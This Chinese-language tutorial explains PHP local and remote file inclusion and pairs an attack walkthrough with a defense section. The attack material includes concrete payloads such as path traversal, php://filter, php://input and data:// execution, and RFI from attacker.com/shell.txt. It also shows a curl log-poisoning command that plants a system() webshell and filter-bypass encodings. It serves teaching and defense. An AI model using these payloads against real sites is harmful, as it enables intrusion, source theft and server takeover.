文件包含漏洞深度解析：从LFI/RFI原理到实战攻防与防御方案

1. 项目概述：从“包含”到“掌控”的攻防博弈

在Web安全的世界里，文件包含漏洞（File Inclusion Vulnerability）绝对算得上是一个“经典永流传”的议题。它不像SQL注入那样需要复杂的构造，也不像XSS那样依赖用户交互，很多时候，它就像一个被开发者无意间留下的后门，攻击者只需轻轻一推，就能窥探到服务器内部的秘密，甚至直接拿到系统的控制权。我见过太多因为一个简单的文件包含漏洞，导致整个网站源码泄露、数据库配置文件被读取，甚至服务器被植入后门（Webshell）的案例。今天，我们就来彻底拆解这个看似简单、实则威力巨大的漏洞家族——本地文件包含（Local File Inclusion, LFI）和远程文件包含（Remote File Inclusion, RFI）。我的目标是，无论你是刚入门的安全爱好者，还是有一定经验的开发者，都能通过这篇详尽的解析，不仅看懂攻击是怎么发生的，更能明白如何在自己的项目中有效防御。

简单来说，文件包含漏洞的根源在于，应用程序在引入外部文件时，没有对用户输入的文件路径或文件名进行严格的过滤和验证。攻击者通过构造特殊的输入，就能让程序加载并执行他们指定的文件。根据这个“指定文件”的来源，我们将其分为两类：如果文件来自服务器本地，就是LFI；如果文件是从远程服务器（比如攻击者自己搭建的）上拉取过来的，就是RFI。理解这两者的区别和联系，是构建有效防御体系的第一步。接下来，我会带你从原理、利用、到防御，一步步走完这个完整的攻防链条。

2. 核心原理深度拆解：为什么程序会“听话”地包含恶意文件？

要理解漏洞，必须先理解功能。文件包含本身是一个正常的、甚至是非常有用的编程特性。在PHP中，我们有include、require、include_once、require_once；在JSP中，有<%@ include file="..." %>或<jsp:include page="..." />；在其他服务端语言里也有类似机制。它的设计初衷是为了代码复用和模块化开发，比如把数据库连接配置、页头页脚、通用函数库等写在单独的文件里，然后在需要的地方包含进来。

2.1 漏洞产生的根本逻辑

漏洞产生的核心逻辑链条非常清晰：

1. 动态包含：程序使用了一个包含用户输入变量的包含函数。例如：include($_GET['page'] . '.php');
2. 缺乏过滤：程序没有对用户输入的page参数进行任何有效的检查、过滤或白名单验证。
3. 用户可控：攻击者可以完全控制这个参数的值。

当这三个条件同时满足时，漏洞就产生了。攻击者不再局限于选择开发者预设的几个页面（如home.php,about.php），而是可以尝试包含任何他感兴趣的文件路径。

2.2 本地文件包含（LFI）与远程文件包含（RFI）的本质区别

很多人会混淆LFI和RFI，其实它们的核心区别就在于“包含的目标文件的位置”。

• LFI（本地文件包含）：攻击者诱导应用程序包含并执行服务器本地文件系统上的文件。

  • 目标：服务器本身已有的文件，如系统配置文件、日志文件、应用程序源码、Session文件等。
  • 利用前提：需要知道目标文件的路径，并且Web服务进程有读取该文件的权限。
  • 影响：信息泄露（如读取/etc/passwd获取用户列表）、源码审计、在特定条件下实现代码执行（例如结合日志文件注入、PHP伪协议等）。

• RFI（远程文件包含）：攻击者诱导应用程序从远程服务器（攻击者控制）包含一个文件，并将其内容作为代码执行。

  • 目标：一个远程URL指向的恶意脚本文件。
  • 利用前提：PHP配置中allow_url_include选项必须为 On（默认是 Off）。这是RFI能够成功的最关键、也常常被忽略的条件。此外，目标服务器需要能访问外网。
  • 影响：直接远程代码执行（RCE）。攻击者可以在自己的服务器上放置一个包含PHP代码的文本文件，让受害服务器去包含并执行它，从而完全控制服务器。

一个重要的认知：RFI的危害通常远大于LFI，因为它意味着攻击者可以直接从外部引入任意代码。但正因为其危害大，现代PHP版本默认关闭了allow_url_include，使得“纯”RFI漏洞在实际中已不常见。然而，攻击者会利用LFI结合PHP内置的各种“伪协议”（如php://filter,zip://,phar://）来实现类似RFI的效果，这需要我们格外警惕。

2.3 关键函数与危险配置

在PHP中，以下几个函数是文件包含漏洞的“重灾区”：

• include()
• require()
• include_once()
• require_once()

它们的功能略有差异（如require在失败时产生致命错误，include产生警告），但在引发漏洞这一点上是相同的。

危险的服务器配置（主要是PHP）包括：

• allow_url_fopen = On（允许打开远程文件，通常为RFI铺路）
• allow_url_include = On（允许包含远程文件，RFI的直接开关）—— 这个必须为On，RFI才能成功。
• open_basedir配置不当或未设置（限制了PHP可访问的目录范围，设置后可以缓解LFI）。

3. 攻击利用手法全解析：从读取文件到获取Shell

理解了原理，我们来看看攻击者具体是怎么操作的。我会按照从简单到复杂、从信息泄露到代码执行的顺序来讲解。

3.1 本地文件包含（LFI）的利用手法

LFI的利用思路非常丰富，核心是“路径遍历”和“空字节截断”（针对老版本PHP）以及“伪协议利用”。

1. 基础路径遍历这是最直接的利用。假设存在漏洞的URL是：http://target.com/index.php?page=about

• 读取系统文件：尝试?page=../../../../etc/passwd。通过多个../回溯到根目录，读取Linux系统的用户账户文件。
• 读取Web源码：尝试?page=./config/database.php或?page=../application/config.php，试图读取数据库连接密码等敏感配置。
• 读取日志文件：这是一个非常重要的利用点。尝试包含Web服务器的访问日志、错误日志。例如Apache的日志通常在/var/log/apache2/access.log。攻击者可以先通过User-Agent或GET参数向日志中注入PHP代码，然后再通过LFI包含这个日志文件，从而执行代码。

2. 空字节截断技巧在PHP版本小于5.3.4时，存在一个经典技巧。如果代码是include($_GET['page'] . “.php”);，开发者本意是让用户只能包含.php文件。但攻击者可以输入?page=../../../etc/passwd%00。这里的%00是空字节的URL编码。在旧版本PHP中，字符串函数处理到%00时会认为字符串结束，因此实际拼接后变成../../../etc/passwd%00.php，但%00后的.php被忽略，从而成功包含非PHP文件。注意：此方法在PHP 5.3.4及以上版本已失效。

3. PHP伪协议利用（重点！）这是现代LFI利用中最强大、最常用的技术。PHP提供了一系列封装协议，可以像访问文件一样访问各种数据流。

• php://filter—— 读取源码的利器这个协议用于读取文件的“原始内容”，而不会执行它。这对于读取PHP文件源码至关重要，因为直接包含一个PHP文件，服务器会执行它，我们看到的是执行结果（通常是空白），而不是源代码。

  • 利用Payload：?page=php://filter/read=convert.base64-encode/resource=index.php
  • 解释：通过convert.base64-encode过滤器，将index.php的内容进行Base64编码后输出。我们拿到Base64字符串，解码即可得到完整的PHP源代码。这比路径遍历更可靠，因为它不依赖于具体的文件路径猜测。
  • 其他过滤器：convert.iconv.*可用于字符集转换，有时能绕过一些简单的过滤。

• php://input—— 执行任意代码这个协议允许你访问请求的原始数据（即HTTP POST Body）。需要allow_url_include=On。

  • 利用方法：
    1. 发送一个POST请求到漏洞URL。
    2. GET参数设置为?page=php://input。
    3. 在POST Body中直接写入要执行的PHP代码，例如：<?php system('id'); ?>。
    4. 服务器会包含php://input这个“流”，并将其中的内容作为PHP代码执行。
  • 这是一种典型的“无文件”攻击，不依赖服务器上的任何实体文件。

• zip://与phar://—— 压缩包内的代码执行这两个协议允许直接访问压缩包（ZIP或PHAR）内的特定文件。攻击者可以制作一个包含恶意PHP脚本的ZIP文件，上传到服务器（例如通过头像上传功能），然后利用LFI去包含这个压缩包内的文件。

  • 利用Payload（zip）：?page=zip:///path/to/uploaded/malicious.zip%23shell.php
    • 注意：#在URL中需要编码为%23，它指定了压缩包内的文件。
  • 利用Payload（phar）：?page=phar:///path/to/uploaded/malicious.phar/shell.php
  • 这是一种非常隐蔽的利用方式，因为服务器上存放的是一个“合法”的压缩文件，而非直接的PHP脚本。

• data://—— 另一种代码执行方式该协议允许在URI中直接嵌入数据。同样需要allow_url_include=On。

  • 利用Payload：?page=data://text/plain,<?php phpinfo();?>或?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+（Base64编码版，可绕过某些过滤）。

3.2 远程文件包含（RFI）的利用手法

RFI的利用相对“纯粹”，但前提苛刻。

1. 确认漏洞：尝试包含一个已知存在的远程文本文件，如?page=http://attacker.com/test.txt，观察服务器行为（是否报错、是否尝试去访问）。
2. 执行代码：在攻击者控制的服务器（attacker.com）上，创建一个内容为<?php phpinfo();?>的文件，命名为shell.txt（注意，扩展名不重要，内容才是关键）。
3. 触发攻击：访问?page=http://attacker.com/shell.txt。如果配置允许，受害服务器会下载并执行这个文件中的PHP代码，攻击者通常会在其中写入一句话木马，从而建立持久控制。

RFI的变种与限制绕过：

• 如果程序强制添加后缀，如.php，可以尝试?page=http://attacker.com/shell.txt?。问号?后的部分在远程请求时会被视为查询参数，因此远程服务器实际收到的是对shell.txt的请求，而本地拼接后变成shell.txt?.php，不影响执行。
• 利用URL短服务或重定向，有时可以绕过一些简单的域名黑名单过滤。

3.3 高级利用技巧：日志文件注入与Session文件包含

这是LFI通向RCE的经典路径，不需要特殊的PHP配置。

1. 日志文件注入

• 原理：Web服务器（如Apache, Nginx）会将每一个请求的详细信息（包括请求头）记录到日志文件中。如果我们可以控制请求中的某个字段（如User-Agent），并向其中写入PHP代码，那么这段代码就会被原样记录到日志文件里。
• 步骤：
  1. 探测日志路径：通过LFI读取可能的日志路径，如/var/log/apache2/access.log。
  2. 污染日志：使用工具（如curl）或浏览器插件，发送一个请求，将User-Agent设置为<?php system($_GET[‘cmd’]);?>。

     curl -H “User-Agent: <?php system(\$_GET[‘cmd’]);?>” http://target.com/

  3. 包含执行：通过LFI漏洞去包含这个日志文件：?page=../../../var/log/apache2/access.log。此时，日志文件中的PHP代码会被执行。
  4. 传递命令：现在，可以通过&cmd=id来执行系统命令。最终的利用URL可能类似：?page=../../../var/log/apache2/access.log&cmd=id。

2. Session文件包含

• 原理：PHP的Session机制会将Session数据存储在服务器的一个文件中（如/tmp/sess_[sessionid]）。如果我们可以向自己的Session中写入数据，并且知道Session文件的存储路径和名称，就可以通过LFI包含它来执行代码。
• 步骤：
  1. 找到一个能向$_SESSION写入用户可控数据的地方（例如，一个将用户名存入Session的登录功能）。
  2. 注册或登录一个用户，用户名为恶意代码，如<?php phpinfo();?>。
  3. 获取自己的Session ID（通常通过CookiePHPSESSID）。
  4. 利用LFI包含Session文件：?page=../../../tmp/sess_abc123def456（其中abc123def456是你的Session ID）。

实操心得：在实际渗透测试中，日志文件注入成功率相对较高，因为很多运维人员会忽略对日志文件的权限设置（Web进程需要有写权限才能记录日志，同时也意味着能被读取）。而Session包含则需要应用本身有将未过滤的用户输入存入Session的逻辑，条件更苛刻一些。但一旦发现，就是一条绝佳的利用链。

4. 漏洞挖掘与手动测试指南

知道了怎么利用，我们来看看如何主动发现它。自动化工具（如Burp Suite的Scanner， SQLMap的--technique=F）固然有效，但手动测试能让你理解更深，也能发现工具遗漏的角落。

4.1 测试点定位

寻找所有可能接受文件路径或名称的参数。常见位置包括：

• URL参数：?page=,?file=,?load=,?path=,?lang=等。
• Cookie参数：有时语言选择、主题设置会通过Cookie传递文件名。
• POST参数：表单中隐藏的或用于上传、导入的字段。
• HTTP Headers：较少见，但某些自定义头也可能被使用。

4.2 手动测试Payload清单

你可以准备一个这样的清单，在测试时系统性地尝试：

测试流程建议：

1. 信息收集：先尝试包含一些无害的、确定存在的文件，如?page=index.php或?page=about.php，观察正常响应。
2. 错误探测：尝试包含一个不存在的文件，如?page=non_existent，观察错误信息。有时错误信息会暴露出绝对路径、文件系统结构等。
3. 逐步深入：从简单的路径遍历开始，逐步尝试伪协议、日志包含等高级技术。
4. 编码绕过：如果发现参数被过滤，尝试URL编码、双重编码、UTF-7编码等。例如，../可以被编码为%2e%2e%2f或..%252f（双重编码）。
5. 后缀绕过：如果程序强制添加后缀（如.php），除了用空字节（旧版）和问号，还可以尝试利用路径截断（超长文件名）或使用zip/phar协议。

4.3 使用Burp Suite进行高效测试

手动测试结合Burp Suite的Intruder功能会事半功倍。

1. 用Burp抓取存在疑似文件包含参数的请求。
2. 发送到Intruder。
3. 在参数位置设置Payload标记。
4. 加载一个包含上述各种Payload的字典文件。
5. 根据响应长度、状态码、内容关键字（如“root:x:0:0”来自/etc/passwd）来筛选潜在的成功Payload。

5. 防御方案设计与最佳实践

知道了攻击手法，防御的思路就清晰了：切断“用户输入”与“包含函数参数”之间的直接、不受控的联系。

5.1 白名单机制（最有效）

这是最根本、最推荐的防御方法。不要试图用黑名单过滤掉../、php://等，攻击者的绕过方法层出不穷。

• 实现：定义一个允许包含的文件列表（数组或映射）。

  $allowed_pages = array( ‘home’ => ‘./templates/home.php’, ‘about’ => ‘./templates/about.php’, ‘contact’ => ‘./templates/contact.php’, ); $page = $_GET[‘page’] ?? ‘home’; // 默认页面 if (array_key_exists($page, $allowed_pages)) { include($allowed_pages[$page]); } else { include(‘./templates/404.php’); // 或直接die(‘Invalid page’); }

• 优点：只要白名单设计得当，几乎无法绕过。用户输入只是一个“键”，真正的文件路径由程序控制。

5.2 路径规范化与过滤（辅助手段）

如果业务上无法使用严格的白名单（比如需要动态包含大量未知文件），则必须进行严格的过滤。

• 去除目录遍历：使用函数如str_replace(‘../’, ‘’, $input)是不安全的，因为….//可能被绕过。应该使用realpath()或自定义函数进行递归过滤。
• 限制目录：使用basename()函数只获取文件名部分，去除任何路径。但这只适用于包含当前目录下的文件。
• 添加固定前缀后缀：如include(‘./pages/’ . $input . ‘.php’);，确保文件只能在./pages/目录下，且必须是.php文件。但仍需对$input进行严格过滤，防止目录穿越。

5.3 安全的编程模式

• 避免动态包含：重新评估是否真的需要动态包含。很多情况下，使用路由控制器（如index.php?action=home然后根据action调用对应类方法）或模板引擎是更安全的选择。
• 使用绝对路径：如果可能，使用基于项目根目录的绝对路径，并通过常量定义根目录，减少混淆。

  define(‘ROOT_DIR’, dirname(__FILE__)); include(ROOT_DIR . ‘/includes/header.php’);

5.4 服务器安全配置

• PHP配置：
  • 将allow_url_include和allow_url_fopen设置为Off。这是阻断RFI的生死线。99%的生产环境都不需要开启它们。
  • 配置open_basedir：将PHP可访问的文件限制在Web目录和必要的临时目录内。例如：open_basedir = /var/www/html:/tmp。这能有效限制LFI的攻击范围，使其无法读取/etc/等关键系统目录。
  • 及时更新PHP版本：使用稳定的新版本，避免已知的截断类漏洞。
• Web服务器配置：
  • 以最小权限运行：Web服务进程（如www-data, nginx用户）不应该有读取系统敏感文件（如/etc/shadow）的权限。
  • 日志文件权限：确保Web服务器对日志文件只有追加（append）权限，避免通过包含日志执行代码。可以考虑将日志文件移到Web用户无法访问的目录。
• 其他安全措施：
  • 部署Web应用防火墙（WAF）：可以拦截常见的路径遍历、伪协议等攻击Payload。
  • 代码审计：在开发流程中加入安全代码审计，重点关注所有包含用户输入的include/require语句。

5.5 防御策略总结表

6. 实战案例：一个完整漏洞的发现与利用推演

让我们虚构一个简单的场景，串联起整个流程。

目标：一个简单的企业网站，URL结构为http://example.com/index.php?module=news。

第一步：探测我们尝试修改参数：?module=../../../../etc/passwd。页面返回了一个Warning，但更重要的是，错误信息里显示了部分文件系统路径：Warning: include(/var/www/html/../../../etc/passwd): failed to open stream...。这证实了存在动态包含，并且路径遍历似乎没有被过滤。

第二步：确认LFI我们尝试一个更确定的Payload：?module=php://filter/read=convert.base64-encode/resource=index.php。页面没有直接显示错误，而是返回了一长串Base64字符串。解码后，我们成功获得了index.php的源代码。

第三步：分析源码，寻找突破口从获取的源码中，我们看到关键代码：

$mod = $_GET[‘module’]; include(‘./modules/’ . $mod . ‘.php’);

程序固定了前缀./modules/和后缀.php。直接RFI（http://...）会因为后缀拼接失败。空字节截断因PHP版本较新而无效。

第四步：寻找可利用的本地文件我们尝试读取Apache日志：?module=../../../var/log/apache2/access.log。成功！看到了访问日志的内容。现在我们有了一个稳定的文件包含点。

第五步：日志注入，获取代码执行

1. 我们使用curl向网站根目录发送一个请求，在User-Agent中注入代码：

   curl -A “<?php system(\$_GET[‘c’]);?>” http://example.com/

2. 然后，通过包含日志文件并传递参数来执行命令：http://example.com/index.php?module=../../../var/log/apache2/access.log&c=id页面返回了uid=33(www-data) gid=33(www-data) groups=33(www-data)，说明代码执行成功！

第六步：建立持久化连接通过执行wget或curl命令，从我们的服务器下载一个功能更全面的Webshell（如蚁剑的PHP马），写入到Web目录，从而获得一个图形化的管理界面。

漏洞根源：开发者盲目信任了$_GET[‘module’]参数，仅添加了固定前后缀，未对中间的输入进行任何过滤，导致目录穿越。同时，服务器配置允许Web进程读取系统日志，且日志文件权限设置不当，最终导致漏洞被升级为远程代码执行。

修复方案：

1. 将代码改为白名单模式。
2. 如果必须动态，则使用basename()并严格检查输入是否只包含字母数字，或者使用一个安全的映射数组。
3. 在服务器上配置open_basedir，并检查日志文件权限。

7. 常见问题与排查技巧实录

在实际研究和测试中，你会遇到各种各样的问题。这里记录一些常见的坑和解决思路。

Q1：我用了php://filter读取源码，但返回的是乱码或执行后的结果，不是Base64码？

• 可能原因1：包含点并非直接执行include你的参数，可能参数被拼接到了HTML标签的src或href属性里，导致协议不被执行。你需要找到真正的包含点。
• 可能原因2：存在输出缓冲或内容被处理。尝试不同的过滤器，如convert.iconv.utf-8.utf-16看看。
• 可能原因3：WAF或过滤机制拦截了php://关键字。尝试大小写混淆、双重编码（php://->php:%2f%2f->php%253a%252f%252f）或使用其他协议（如zip、phar）间接包含。

Q2：包含日志文件成功了，但注入的代码不执行？

• 检查代码注入位置：确保你的恶意代码被完整地写入了日志文件，且没有被转义。用LFI再次读取日志，看看<?php ... ?>是否原样存在。
• 检查日志格式：有些日志格式会默认对特殊字符进行编码（如将<转为<）。你需要找到不会被编码的字段进行注入，通常User-Agent和Referer字段比较可靠。HTTP请求参数（GET/POST）也可能被记录，是更好的注入点，因为参数值通常不会编码。
• 检查权限和包含方式：确保Web进程对日志文件有读权限，并且包含时代码被正确解析（即日志文件是通过include()包含，而不是file_get_contents()读取显示）。

Q3：为什么我的RFI Payload总是失败，服务器没有任何外联请求？

• 首要检查allow_url_include：99%的情况是它被关闭了。你可以尝试包含一个http://开头的URL，如果报错信息明确说allow_url_include被禁用，那就确认了。此时应转向LFI利用。
• 网络出口限制：目标服务器可能处于内网，无法访问互联网。RFI失效。
• DNS问题：你提供的URL域名无法被解析。尝试使用IP地址。
• WAF拦截：请求中的http://特征被WAF拦截。尝试使用其他协议格式或编码绕过。

Q4：在CTF或靶场中，遇到过滤了../和php关键字，怎么办？

• 编码绕过：../可以写成..%2f、%2e%2e%2f、..%252f（双重URL编码）。php可以写成pHp（大小写）、php（URL编码）。
• 超长路径截断：在旧系统或特定环境下，输入超长文件名可能使系统截断，从而去掉后缀。例如：?page=../../../etc/passwd/./././[大量重复]/.
• 利用zip://或phar://：这两个协议名可能不在黑名单里。先上传一个包含Shell的ZIP文件，再包含它。
• 利用data://或expect://（如果允许）。
• 绝对路径：如果知道Web目录的绝对路径，可以直接使用，避免../。

Q5：如何判断一个文件包含漏洞是否存在？

• 错误信息法：输入一个异常值（如{{{{），观察是否报出包含函数（如include()）相关的错误。
• 延时判断法：尝试包含一个不存在的协议或URL，如?page=http://non-existent-domain-that-you-own:9999/，然后在你的服务器上观察是否有来自目标IP的连接尝试（需要你拥有服务器并监听端口）。如果有，说明它尝试了远程包含。
• DNS外带法：尝试包含一个你控制的域名的子域名，如?page=http://unique-subdomain.your-vps.com/，然后查看你的DNS解析日志，如果收到了对这个子域名的查询，也说明存在包含行为。这种方法比端口监听更隐蔽。

文件包含漏洞的攻防是一场关于“控制权”的细致博弈。对于开发者而言，树立“所有用户输入皆不可信”的安全意识，采用白名单等积极防御策略，并配以安全的服务器配置，就能从根本上杜绝绝大多数风险。对于安全研究者而言，理解其原理、掌握各种利用与绕过技术，不仅是为了发现漏洞，更是为了深刻理解安全机制的重要性，从而能设计出更健壮的系统。